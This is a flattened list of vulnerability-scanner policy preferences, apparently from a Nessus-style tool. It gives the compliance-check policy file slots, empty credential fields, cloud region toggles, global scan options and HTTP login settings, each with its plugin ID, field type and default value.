+Verify SSL certificate : +checkbox +no +no + +Alcatel TiMOS Compliance Checks +102730 +Alcatel TiMOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Alcatel TiMOS Compliance Checks +102730 +Alcatel TiMOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Alcatel TiMOS Compliance Checks +102730 +Alcatel TiMOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Alcatel TiMOS Compliance Checks +102730 +Alcatel TiMOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Alcatel TiMOS Compliance Checks +102730 +Alcatel TiMOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Alcatel TiMOS Compliance Checks +102730 +Alcatel TiMOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Antivirus Software Check +16193 +Antivirus Software Check[entry]:Delay (in days, between 0 and 7) : +Delay (in days, between 0 and 7) : +entry +0 +0 + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Apple Profile Manager server : +Apple Profile Manager server : +entry + + + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Apple Profile Manager port : +Apple Profile Manager port : +entry +443 +443 + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Apple Profile Manager username : +Apple Profile Manager username : +entry + + + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[password]:Apple Profile Manager password : +Apple Profile Manager password : +password + + + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[checkbox]:Force Device Updates : +Force Device Updates : +checkbox +yes +yes + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Device Update Timeout (Minutes) : +Device Update Timeout (Minutes) : +entry +5 +5 + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-east-1 : +Region us-east-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-east-2 : +Region us-east-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-west-1 : +Region us-west-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-west-2 : +Region us-west-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region eu-west-1 : +Region eu-west-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region eu-west-2 : +Region eu-west-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region eu-central-1 : +Region eu-central-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-northeast-1 : +Region ap-northeast-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-northeast-2 : +Region ap-northeast-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-southeast-1 : +Region ap-southeast-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-southeast-2 : +Region ap-southeast-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-south-1 : +Region ap-south-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region sa-east-1 : +Region sa-east-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region cn-north-1 : +Region cn-north-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-gov-west-1 : +Region us-gov-west-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ca-central-1 : +Region ca-central-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[password]:AWS Access Key ID : +AWS Access Key ID : +password + + + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[password]:AWS Secret Access Key : +AWS Secret Access Key : +password + + + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +yes +yes + +Microsoft Azure Compliance Checks +79357 +Microsoft Azure Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Microsoft Azure Compliance Checks +79357 +Microsoft Azure Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Microsoft Azure Compliance Checks +79357 +Microsoft Azure Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Microsoft Azure Compliance Checks +79357 +Microsoft Azure Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Microsoft Azure Compliance Checks +79357 +Microsoft Azure Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Microsoft Azure Settings +79358 +Microsoft Azure Settings[entry]:Username : +Username : +entry + + + +Microsoft Azure Settings +79358 +Microsoft Azure Settings[password]:Password : +Password : +password + + + +Microsoft Azure Settings +79358 +Microsoft Azure Settings[entry]:Client Id : +Client Id : +entry +443 +443 + +Microsoft Azure Settings +79358 +Microsoft Azure Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Microsoft Azure Settings +79358 +Microsoft Azure Settings[entry]:Subscriptions : +Subscriptions : +entry + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[radio]:IOS Config File To Audit : +IOS Config File To Audit : +radio +Saved/(show config);Running/(show running);Startup/(show startup) +Saved/(show config);Running/(show running);Startup/(show startup) + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Cleartext protocols settings +21744 +Cleartext protocols settings[entry]:User name : +User name : +entry + + + +Cleartext protocols settings +21744 +Cleartext protocols settings[password]:Password (unsafe!) : +Password (unsafe!) : +password + + + +Cleartext protocols settings +21744 +Cleartext protocols settings[checkbox]:Try to perform patch level checks over telnet +Try to perform patch level checks over telnet +checkbox +no +no + +Cleartext protocols settings +21744 +Cleartext protocols settings[checkbox]:Try to perform patch level checks over rsh +Try to perform patch level checks over rsh +checkbox +no +no + +Cleartext protocols settings +21744 +Cleartext protocols settings[checkbox]:Try to perform patch level checks over rexec +Try to perform patch level checks over rexec +checkbox +no +no + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Database settings +33815 +Database settings[radio]:DB Type : +DB Type : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Database service type : +Database service type : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Database SID : +Database SID : +entry + + + +Database settings +33815 +Database settings[entry]:Database port to use : +Database port to use : +entry + + + +Database settings +33815 +Database settings[entry]:Login : +Login : +entry + + + +Database settings +33815 +Database settings[password]:Password : +Password : +password + + + +Database settings +33815 +Database settings[radio]:Oracle auth type: +Oracle auth type: +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:SQL Server auth type: +SQL Server auth type: +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Sybase ASE auth type: +Sybase ASE auth type: +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (1) : +Additional DB Type (1) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (1) : +Additional Database service type (1) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (1) : +Additional Database SID (1) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (1) : +Additional Database port to use (1) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (1) : +Additional Login (1) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (1) : +Additional Password (1) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (1) : +Additional Oracle auth type (1) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (1) : +Additional SQL Server auth type (1) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (1) : +Additional Sybase ASE auth type (1) : +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (2) : +Additional DB Type (2) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (2) : +Additional Database service type (2) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (2) : +Additional Database SID (2) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (2) : +Additional Database port to use (2) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (2) : +Additional Login (2) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (2) : +Additional Password (2) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (2) : +Additional Oracle auth type (2) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (2) : +Additional SQL Server auth type (2) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (2) : +Additional Sybase ASE auth type (2) : +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (3) : +Additional DB Type (3) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (3) : +Additional Database service type (3) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (3) : +Additional Database SID (3) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (3) : +Additional Database port to use (3) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (3) : +Additional Login (3) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (3) : +Additional Password (3) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (3) : +Additional Oracle auth type (3) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (3) : +Additional SQL Server auth type (3) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (3) : +Additional Sybase ASE auth type (3) : +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (4) : +Additional DB Type (4) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (4) : +Additional Database service type (4) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (4) : +Additional Database SID (4) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (4) : +Additional Database port to use (4) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (4) : +Additional Login (4) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (4) : +Additional Password (4) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (4) : +Additional Oracle auth type (4) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (4) : +Additional SQL Server auth type (4) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (4) : +Additional Sybase ASE auth type (4) : +radio +RSA;Plain Text +RSA;Plain Text + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Address : +K1000 Address : +entry + + + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Database Port : +K1000 Database Port : +entry +3306 +3306 + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Organization Database Name : +K1000 Organization Database Name : +entry +ORG1 +ORG1 + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Database Username : +K1000 Database Username : +entry +R1 +R1 + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[password]:K1000 Database Password : +K1000 Database Password : +password + + + +Do not scan fragile devices +22481 +Do not scan fragile devices[checkbox]:Scan Network Printers +Scan Network Printers +checkbox +no +no + +Do not scan fragile devices +22481 +Do not scan fragile devices[checkbox]:Scan Novell Netware hosts +Scan Novell Netware hosts +checkbox +no +no + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +F5 Compliance Checks +95388 +F5 Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +F5 Compliance Checks +95388 +F5 Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +F5 Compliance Checks +95388 +F5 Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +F5 Compliance Checks +95388 +F5 Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +F5 Compliance Checks +95388 +F5 Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +F5 Settings +95387 +F5 Settings[entry]:Username : +Username : +entry + + + +F5 Settings +95387 +F5 Settings[password]:Password : +Password : +password + + + +F5 Settings +95387 +F5 Settings[entry]:Port : +Port : +entry +443 +443 + +F5 Settings +95387 +F5 Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +F5 Settings +95387 +F5 Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +yes +yes + +Service Detection +22964 +Service Detection[radio]:Test SSL based services +Test SSL based services +radio +Known SSL ports;All;None +Known SSL ports;All;None + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Global variable settings +12288 +Global variable settings[checkbox]:Probe services on every port +Probe services on every port +checkbox +yes +yes + +Global variable settings +12288 +Global variable settings[checkbox]:Do not log in with user accounts not specified in the policy +Do not log in with user accounts not specified in the policy +checkbox +no +no + +Global variable settings +12288 +Global variable settings[checkbox]:Enable CGI scanning +Enable CGI scanning +checkbox +no +no + +Global variable settings +12288 +Global variable settings[radio]:Network type +Network type +radio +Mixed (use RFC 1918);Private LAN;Public WAN (Internet) +Mixed (use RFC 1918);Private LAN;Public WAN (Internet) + +Global variable settings +12288 +Global variable settings[checkbox]:Enable experimental scripts +Enable experimental scripts +checkbox +no +no + +Global variable settings +12288 +Global variable settings[checkbox]:Thorough tests (slow) +Thorough tests (slow) +checkbox +no +no + +Global variable settings +12288 +Global variable settings[radio]:Report verbosity +Report verbosity +radio +Normal;Quiet;Verbose +Normal;Quiet;Verbose + +Global variable settings +12288 +Global variable settings[radio]:Report paranoia +Report paranoia +radio +Normal;Avoid false alarms;Paranoid (more false alarms) +Normal;Avoid false alarms;Paranoid (more false alarms) + +Global variable settings +12288 +Global variable settings[entry]:HTTP User-Agent +HTTP User-Agent +entry +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) + +Global variable settings +12288 +Global variable settings[file]:SSL certificate to use : +SSL certificate to use : +file + + + +Global variable settings +12288 +Global variable settings[file]:SSL CA to trust : +SSL CA to trust : +file + + + +Global variable settings +12288 +Global variable settings[file]:SSL key to use : +SSL key to use : +file + + + +Global variable settings +12288 +Global variable settings[password]:SSL password for SSL key : +SSL password for SSL key : +password + + + +Global variable settings +12288 +Global variable settings[checkbox]:Enumerate all SSL ciphers +Enumerate all SSL ciphers +checkbox +yes +yes + +Global variable settings +12288 +Global variable settings[checkbox]:Enable CRL checking (connects to Internet) +Enable CRL checking (connects to Internet) +checkbox +no +no + +Global variable settings +12288 +Global variable settings[checkbox]:Enable plugin debugging +Enable plugin debugging +checkbox +no +no + +Good MDM Settings +66963 +Good MDM Settings[entry]:GMC Server : +GMC Server : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[entry]:Port : +Port : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[entry]:Domain : +Domain : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[entry]:Username : +Username : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[password]:Password : +Password : +password + + + +Good MDM Settings +66963 +Good MDM Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Good MDM Settings +66963 +Good MDM Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Hosts File Whitelisted Entries +73980 +Hosts File Whitelisted Entries[file]:Upload file with custom hosts entries : +Upload file with custom hosts entries : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[radio]:HP ProCurve File To Audit : +HP ProCurve File To Audit : +radio +Saved/(show config);Default/(show default-config);Running/(show running-config) +Saved/(show config);Default/(show default-config);Running/(show running-config) + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +HTTP login page +11149 +HTTP login page[entry]:Login page : +Login page : +entry +/ +/ + +HTTP login page +11149 +HTTP login page[entry]:Login form : +Login form : +entry + + + +HTTP login page +11149 +HTTP login page[entry]:Login form fields : +Login form fields : +entry +user=%USER%&pass=%PASS% +user=%USER%&pass=%PASS% + +HTTP login page +11149 +HTTP login page[radio]:Login form method : +Login form method : +radio +POST;GET +POST;GET + +HTTP login page +11149 +HTTP login page[checkbox]:Automated login page search +Automated login page search +checkbox +no +no + +HTTP login page +11149 +HTTP login page[entry]:Re-authenticate delay (seconds) : +Re-authenticate delay (seconds) : +entry + + + +HTTP login page +11149 +HTTP login page[entry]:Check authentication on page : +Check authentication on page : +entry + + + +HTTP login page +11149 +HTTP login page[entry]:Follow 30x redirections (# of levels) : +Follow 30x redirections (# of levels) : +entry +2 +2 + +HTTP login page +11149 +HTTP login page[entry]:Authenticated regex : +Authenticated regex : +entry + + + +HTTP login page +11149 +HTTP login page[checkbox]:Invert test (disconnected if regex matches) +Invert test (disconnected if regex matches) +checkbox +no +no + +HTTP login page +11149 +HTTP login page[checkbox]:Match regex on HTTP headers +Match regex on HTTP headers +checkbox +no +no + +HTTP login page +11149 +HTTP login page[checkbox]:Case insensitive regex 